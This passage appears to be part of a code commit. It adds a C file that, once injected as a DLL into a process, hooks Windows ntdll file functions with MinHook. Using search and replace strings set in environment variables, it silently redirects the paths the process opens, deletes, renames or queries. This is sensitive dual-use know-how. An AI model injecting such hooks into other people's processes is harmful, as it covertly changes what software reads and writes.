// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char* WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
+868
View File
@@ -0,0 +1,868 @@
//===============================================================================================//
// NT API Hooking Implementation
//===============================================================================================//
#ifdef __cplusplus
extern "C" {
#endif
#include "NtApiHooks.h"
#include "NtApiHooksConfig.h"
#include "MinHook.h"
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "libMinHook.x64.lib")
#pragma comment(lib, "ntdll.lib")
// Global search and replacement strings (filled from parameter)
static WCHAR g_SearchString[512] = { 0 };
static WCHAR g_ReplacementString[512] = { 0 };
static BOOL g_HooksInitialized = FALSE;
static HANDLE g_LogFile = INVALID_HANDLE_VALUE;
// Helper function to log debug info
void LogDebug(const WCHAR* message) {
#if ENABLE_DEBUG_LOGGING
if (g_LogFile != INVALID_HANDLE_VALUE) {
DWORD written;
DWORD messageLen = (DWORD)wcslen(message) * sizeof(WCHAR);
WriteFile(g_LogFile, message, messageLen, &written, NULL);
const WCHAR newline[] = L"\r\n";
WriteFile(g_LogFile, newline, sizeof(newline) - sizeof(WCHAR), &written, NULL);
FlushFileBuffers(g_LogFile);
}
#endif
}
void LogDebugA(const char* message) {
#if ENABLE_DEBUG_LOGGING
if (g_LogFile != INVALID_HANDLE_VALUE) {
DWORD written;
DWORD messageLen = (DWORD)strlen(message);
WriteFile(g_LogFile, message, messageLen, &written, NULL);
const char newline[] = "\r\n";
WriteFile(g_LogFile, newline, sizeof(newline) - 1, &written, NULL);
FlushFileBuffers(g_LogFile);
}
#endif
}
// Helper function for case-insensitive wide string comparison
int wcsnicmp_custom(const WCHAR* s1, const WCHAR* s2, SIZE_T count) {
for (SIZE_T i = 0; i < count; i++) {
WCHAR c1 = s1[i];
WCHAR c2 = s2[i];
// Convert to uppercase for comparison
if (c1 >= L'a' && c1 <= L'z') c1 = c1 - L'a' + L'A';
if (c2 >= L'a' && c2 <= L'z') c2 = c2 - L'a' + L'A';
// Also handle backslash vs forward slash
if (c1 == L'/') c1 = L'\\';
if (c2 == L'/') c2 = L'\\';
if (c1 != c2) return (c1 < c2) ? -1 : 1;
}
return 0;
}
// Helper function to normalize NT paths - skip \??\ prefix if present
const WCHAR* NormalizePath(const WCHAR* path, SIZE_T* adjustedLength) {
if (!path || !adjustedLength) return path;
SIZE_T length = *adjustedLength;
// Check for \??\ prefix (NT object namespace for DOS devices)
if (length >= 4 && path[0] == L'\\' && path[1] == L'?' && path[2] == L'?' && path[3] == L'\\') {
*adjustedLength = length - 4;
return path + 4;
}
// Check for \Device\ or \DEVICE\ prefix
if (length >= 8 &&
(wcsnicmp_custom(path, L"\\DEVICE\\", 8) == 0 || wcsnicmp_custom(path, L"\\Device\\", 8) == 0)) {
// Don't adjust - these are device paths, not file paths
return path;
}
return path;
}
// NT API typedefs
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
LONG Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation,
FileBothDirectoryInformation,
FileBasicInformation,
FileStandardInformation,
FileInternalInformation,
FileEaInformation,
FileAccessInformation,
FileNameInformation,
FileRenameInformation = 10,
FileLinkInformation,
FileNamesInformation,
FileDispositionInformation,
FilePositionInformation,
FileFullEaInformation,
FileModeInformation,
FileAlignmentInformation,
FileAllInformation,
FileAllocationInformation,
FileEndOfFileInformation,
FileAlternateNameInformation,
FileStreamInformation,
FilePipeInformation,
FilePipeLocalInformation,
FilePipeRemoteInformation,
FileMailslotQueryInformation,
FileMailslotSetInformation,
FileCompressionInformation,
FileObjectIdInformation,
FileCompletionInformation,
FileMoveClusterInformation,
FileQuotaInformation,
FileReparsePointInformation,
FileNetworkOpenInformation,
FileAttributeTagInformation,
FileTrackingInformation,
FileIdBothDirectoryInformation,
FileIdFullDirectoryInformation,
FileValidDataLengthInformation,
FileShortNameInformation,
FileIoCompletionNotificationInformation,
FileIoStatusBlockRangeInformation,
FileIoPriorityHintInformation,
FileSfioReserveInformation,
FileSfioVolumeInformation,
FileHardLinkInformation,
FileProcessIdsUsingFileInformation,
FileNormalizedNameInformation,
FileNetworkPhysicalNameInformation,
FileIdGlobalTxDirectoryInformation,
FileIsRemoteDeviceInformation,
FileUnusedInformation,
FileNumaNodeInformation,
FileStandardLinkInformation,
FileRemoteProtocolInformation,
FileRenameInformationBypassAccessCheck,
FileLinkInformationBypassAccessCheck,
FileVolumeNameInformation,
FileIdInformation,
FileIdExtdDirectoryInformation,
FileReplaceCompletionInformation,
FileHardLinkFullIdInformation,
FileIdExtdBothDirectoryInformation,
FileRenameInformationEx = 65,
FileRenameInformationExBypassAccessCheck,
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
// NT API function pointers
typedef LONG NTSTATUS;
typedef NTSTATUS(NTAPI* pNtCreateFile)(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
typedef NTSTATUS(NTAPI* pNtOpenFile)(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
);
typedef NTSTATUS(NTAPI* pNtDeleteFile)(
POBJECT_ATTRIBUTES ObjectAttributes
);
typedef NTSTATUS(NTAPI* pNtSetInformationFile)(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
);
typedef NTSTATUS(NTAPI* pNtQueryAttributesFile)(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
);
typedef NTSTATUS(NTAPI* pNtQueryFullAttributesFile)(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
);
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFile)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
);
typedef NTSTATUS(NTAPI* pNtQueryDirectoryFileEx)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
ULONG QueryFlags,
PUNICODE_STRING FileName
);
// Original function pointers
pNtCreateFile OriginalNtCreateFile = NULL;
pNtOpenFile OriginalNtOpenFile = NULL;
pNtDeleteFile OriginalNtDeleteFile = NULL;
pNtSetInformationFile OriginalNtSetInformationFile = NULL;
pNtQueryAttributesFile OriginalNtQueryAttributesFile = NULL;
pNtQueryFullAttributesFile OriginalNtQueryFullAttributesFile = NULL;
pNtQueryDirectoryFile OriginalNtQueryDirectoryFile = NULL;
pNtQueryDirectoryFileEx OriginalNtQueryDirectoryFileEx = NULL;
// Helper function to check if path needs redirection
BOOL NeedsRedirection(const WCHAR* path, SIZE_T length) {
if (!path || length == 0) return FALSE;
SIZE_T searchLen = wcslen(g_SearchString);
if (searchLen == 0 || length < searchLen) return FALSE;
// Normalize the path (strip \??\ prefix if present)
SIZE_T normalizedLength = length;
const WCHAR* normalizedPath = NormalizePath(path, &normalizedLength);
if (g_LogFile != INVALID_HANDLE_VALUE) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = normalizedLength < 511 ? normalizedLength : 511;
wcsncpy_s(tempPath, 512, normalizedPath, copyLen);
LogDebug(L"[NeedsRedirection] Checking normalized path: ");
LogDebug(tempPath);
LogDebug(L"[NeedsRedirection] Against search string: ");
LogDebug(g_SearchString);
}
if (normalizedLength < searchLen) return FALSE;
// Search for the search string in the normalized path (case-insensitive)
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"[NeedsRedirection] MATCH FOUND at position ");
WCHAR posStr[32];
wsprintfW(posStr, L"%zu", i);
LogDebug(posStr);
}
return TRUE;
}
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"[NeedsRedirection] NO MATCH");
}
return FALSE;
}
// Helper function to replace search string with the replacement string
WCHAR* ReplacePath(const WCHAR* originalPath, SIZE_T originalLength, SIZE_T* newLength) {
if (!originalPath || originalLength == 0 || !newLength) return NULL;
SIZE_T searchLen = wcslen(g_SearchString);
SIZE_T replaceLen = wcslen(g_ReplacementString);
if (searchLen == 0 || originalLength < searchLen) return NULL;
// Normalize the path
SIZE_T normalizedLength = originalLength;
const WCHAR* normalizedPath = NormalizePath(originalPath, &normalizedLength);
SIZE_T prefixLength = originalLength - normalizedLength; // Length of \??\ or other prefix
if (normalizedLength < searchLen) return NULL;
// Count occurrences (case-insensitive) in normalized portion
SIZE_T occurrences = 0;
for (SIZE_T i = 0; i <= normalizedLength - searchLen; i++) {
if (wcsnicmp_custom(&normalizedPath[i], g_SearchString, searchLen) == 0) {
occurrences++;
i += searchLen - 1; // Skip past this occurrence
}
}
if (occurrences == 0) return NULL;
// Calculate new length (prefix + modified path)
SIZE_T calcNewLength = prefixLength + normalizedLength + (occurrences * (replaceLen - searchLen));
WCHAR* newPath = (WCHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (calcNewLength + 1) * sizeof(WCHAR));
if (!newPath) return NULL;
// Copy prefix (\??\ or other) if present
SIZE_T destIdx = 0;
for (SIZE_T i = 0; i < prefixLength; i++) {
newPath[destIdx++] = originalPath[i];
}
// Perform replacement in normalized portion (case-insensitive)
SIZE_T srcIdx = 0;
while (srcIdx < normalizedLength) {
if (srcIdx <= normalizedLength - searchLen &&
wcsnicmp_custom(&normalizedPath[srcIdx], g_SearchString, searchLen) == 0) {
// Copy replacement string
for (SIZE_T j = 0; j < replaceLen; j++) {
newPath[destIdx++] = g_ReplacementString[j];
}
srcIdx += searchLen;
}
else {
newPath[destIdx++] = normalizedPath[srcIdx++];
}
}
*newLength = destIdx;
return newPath;
}
// Hook implementations
NTSTATUS NTAPI HookedNtCreateFile(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
// Only attempt redirection if hooks are properly initialized and we have the original function
if (g_HooksInitialized && OriginalNtCreateFile && ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
// Log all paths for debugging
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
LogDebug(L"");
LogDebug(L"[NtCreateFile] Original Path: ");
LogDebug(tempPath);
}
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
WCHAR tempBuf[512] = { 0 };
SIZE_T copyLen = newLength < 511 ? newLength : 511;
wcsncpy_s(tempBuf, 512, buffer, copyLen);
LogDebug(L"[NtCreateFile] *** REDIRECTING TO: ");
LogDebug(tempBuf);
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
else {
LogDebug(L"[NtCreateFile] ReplacePath returned NULL");
}
}
}
NTSTATUS result = OriginalNtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock,
AllocationSize, FileAttributes, ShareAccess, CreateDisposition,
CreateOptions, EaBuffer, EaLength);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtOpenFile(
PHANDLE FileHandle,
ULONG DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG ShareAccess,
ULONG OpenOptions
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
// Log all paths for debugging
if (g_LogFile != INVALID_HANDLE_VALUE && pathLength > 0 && g_HooksInitialized) {
WCHAR tempPath[512] = { 0 };
SIZE_T copyLen = pathLength < 511 ? pathLength : 511;
wcsncpy_s(tempPath, 512, ObjectAttributes->ObjectName->Buffer, copyLen);
LogDebug(L"");
LogDebug(L"[NtOpenFile] Original Path: ");
LogDebug(tempPath);
}
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
WCHAR tempBuf[512] = { 0 };
SIZE_T copyLen = newLength < 511 ? newLength : 511;
wcsncpy_s(tempBuf, 512, buffer, copyLen);
LogDebug(L"[NtOpenFile] *** REDIRECTING TO: ");
LogDebug(tempBuf);
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
else {
LogDebug(L"[NtOpenFile] ReplacePath returned NULL");
}
}
}
NTSTATUS result = OriginalNtOpenFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, ShareAccess, OpenOptions);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtDeleteFile(POBJECT_ATTRIBUTES ObjectAttributes) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtDeleteFile(ObjectAttributes);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtSetInformationFile(
HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass
) {
typedef struct {
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_RENAME_INFO;
if (FileInformation && (FileInformationClass == FileRenameInformation || FileInformationClass == FileRenameInformationEx)) {
FILE_RENAME_INFO* renameInfo = (FILE_RENAME_INFO*)FileInformation;
if (renameInfo->FileNameLength > 0) {
SIZE_T pathLength = renameInfo->FileNameLength / sizeof(WCHAR);
if (NeedsRedirection(renameInfo->FileName, pathLength)) {
SIZE_T newLength = 0;
WCHAR* newPath = ReplacePath(renameInfo->FileName, pathLength, &newLength);
if (newPath) {
ULONG newInfoSize = sizeof(FILE_RENAME_INFO) - sizeof(WCHAR) + (newLength * sizeof(WCHAR));
FILE_RENAME_INFO* newRenameInfo = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, newInfoSize);
if (newRenameInfo) {
newRenameInfo->ReplaceIfExists = renameInfo->ReplaceIfExists;
newRenameInfo->RootDirectory = renameInfo->RootDirectory;
newRenameInfo->FileNameLength = (ULONG)(newLength * sizeof(WCHAR));
memcpy(newRenameInfo->FileName, newPath, newRenameInfo->FileNameLength);
NTSTATUS result = OriginalNtSetInformationFile(FileHandle, IoStatusBlock, newRenameInfo, newInfoSize, FileInformationClass);
HeapFree(GetProcessHeap(), 0, newRenameInfo);
HeapFree(GetProcessHeap(), 0, newPath);
return result;
}
HeapFree(GetProcessHeap(), 0, newPath);
}
}
}
}
return OriginalNtSetInformationFile(FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}
NTSTATUS NTAPI HookedNtQueryAttributesFile(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtQueryAttributesFile(ObjectAttributes, FileInformation);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtQueryFullAttributesFile(
POBJECT_ATTRIBUTES ObjectAttributes,
PVOID FileInformation
) {
PUNICODE_STRING originalString = NULL;
UNICODE_STRING newString = { 0 };
WCHAR* buffer = NULL;
if (ObjectAttributes && ObjectAttributes->ObjectName && ObjectAttributes->ObjectName->Buffer) {
SIZE_T pathLength = ObjectAttributes->ObjectName->Length / sizeof(WCHAR);
if (NeedsRedirection(ObjectAttributes->ObjectName->Buffer, pathLength)) {
SIZE_T newLength = 0;
buffer = ReplacePath(ObjectAttributes->ObjectName->Buffer, pathLength, &newLength);
if (buffer) {
originalString = ObjectAttributes->ObjectName;
newString.Buffer = buffer;
newString.Length = (USHORT)(newLength * sizeof(WCHAR));
newString.MaximumLength = (USHORT)((newLength + 1) * sizeof(WCHAR));
ObjectAttributes->ObjectName = &newString;
}
}
}
NTSTATUS result = OriginalNtQueryFullAttributesFile(ObjectAttributes, FileInformation);
if (originalString) {
ObjectAttributes->ObjectName = originalString;
if (buffer) HeapFree(GetProcessHeap(), 0, buffer);
}
return result;
}
NTSTATUS NTAPI HookedNtQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
) {
return OriginalNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FileInformation, Length, FileInformationClass,
ReturnSingleEntry, FileName, RestartScan);
}
NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
ULONG QueryFlags,
PUNICODE_STRING FileName
) {
return OriginalNtQueryDirectoryFileEx(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock,
FileInformation, Length, FileInformationClass,
QueryFlags, FileName);
}
// Install all hooks
void InstallNtApiHooks(LPVOID lpParameter) {
// Use a global try-catch to prevent any crashes
__try {
#if ENABLE_DEBUG_LOGGING
// Enable logging for debugging
WCHAR logPath[512];
__try {
ExpandEnvironmentStringsW(L"%TEMP%\\rdi_hooks.log", logPath, 512);
g_LogFile = CreateFileW(logPath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
g_LogFile = INVALID_HANDLE_VALUE;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("=== DLL Injection Started ===");
}
#else
g_LogFile = INVALID_HANDLE_VALUE;
#endif
// Initialize to empty strings to prevent crashes
g_SearchString[0] = L'\0';
g_ReplacementString[0] = L'\0';
// Try to get configuration from environment variables
__try {
WCHAR envSearchString[512] = { 0 };
WCHAR envReplaceString[512] = { 0 };
DWORD searchLen = GetEnvironmentVariableW(L"RDI_SEARCH_PATH", envSearchString, 512);
DWORD replaceLen = GetEnvironmentVariableW(L"RDI_REPLACE_PATH", envReplaceString, 512);
if (searchLen > 0 && searchLen < 512 && replaceLen > 0 && replaceLen < 512) {
wcsncpy_s(g_SearchString, 512, envSearchString, searchLen);
g_SearchString[searchLen] = L'\0';
wcsncpy_s(g_ReplacementString, 512, envReplaceString, replaceLen);
g_ReplacementString[replaceLen] = L'\0';
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebug(L"========================================");
LogDebug(L"[ENV] Search string from env: ");
LogDebug(g_SearchString);
LogDebug(L"[ENV] Replacement string from env: ");
LogDebug(g_ReplacementString);
char lenMsg[256];
sprintf_s(lenMsg, 256, "[ENV] Search string length: %zu characters", wcslen(g_SearchString));
LogDebugA(lenMsg);
LogDebug(L"========================================");
}
}
else {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Environment variables not found, hooks disabled");
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Exception reading environment variables");
}
g_SearchString[0] = L'\0';
g_ReplacementString[0] = L'\0';
}
// Initialize MinHook (this must succeed)
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Initializing MinHook...");
}
if (MH_Initialize() != MH_OK) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("ERROR: MinHook initialization failed!");
}
return;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("MinHook initialized successfully");
}
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("ERROR: Failed to get ntdll.dll handle!");
}
MH_Uninitialize();
return;
}
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("Got ntdll.dll handle");
}
// Hook all the NT APIs
FARPROC pNtCreateFile = GetProcAddress(ntdll, "NtCreateFile");
if (pNtCreateFile) {
MH_CreateHook(pNtCreateFile, &HookedNtCreateFile, (LPVOID*)&OriginalNtCreateFile);
MH_EnableHook(pNtCreateFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtCreateFile");
}
FARPROC pNtOpenFile = GetProcAddress(ntdll, "NtOpenFile");
if (pNtOpenFile) {
MH_CreateHook(pNtOpenFile, &HookedNtOpenFile, (LPVOID*)&OriginalNtOpenFile);
MH_EnableHook(pNtOpenFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtOpenFile");
}
FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile");
if (pNtDeleteFile) {
MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile);
MH_EnableHook(pNtDeleteFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile");
}
FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile");
if (pNtSetInformationFile) {
MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile);
MH_EnableHook(pNtSetInformationFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile");
}
FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile");
if (pNtQueryAttributesFile) {
MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile);
MH_EnableHook(pNtQueryAttributesFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile");
}
FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile");
if (pNtQueryFullAttributesFile) {
MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile);
MH_EnableHook(pNtQueryFullAttributesFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile");
}
FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile");
if (pNtQueryDirectoryFile) {
MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile);
MH_EnableHook(pNtQueryDirectoryFile);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile");
}
FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx");
if (pNtQueryDirectoryFileEx) {
MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx);
MH_EnableHook(pNtQueryDirectoryFileEx);
if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx");
}
g_HooksInitialized = TRUE;
if (g_LogFile != INVALID_HANDLE_VALUE) {
LogDebugA("=== All hooks installed successfully ===");
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
if (g_LogFile != INVALID_HANDLE_VALUE) {
char excMsg[256];
sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode());
LogDebugA(excMsg);
}
}
}
void RemoveNtApiHooks() {
__try {
LogDebugA("=== Removing hooks ===");
g_HooksInitialized = FALSE;
MH_DisableHook(MH_ALL_HOOKS);
MH_Uninitialize();
if (g_LogFile != INVALID_HANDLE_VALUE) {
CloseHandle(g_LogFile);
g_LogFile = INVALID_HANDLE_VALUE;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
// Fail silently on cleanup
}
}
#ifdef __cplusplus
}
#endif
+23
View File
@@ -0,0 +1,23 @@
//===============================================================================================//
// NT API Hooking Header
//===============================================================================================//
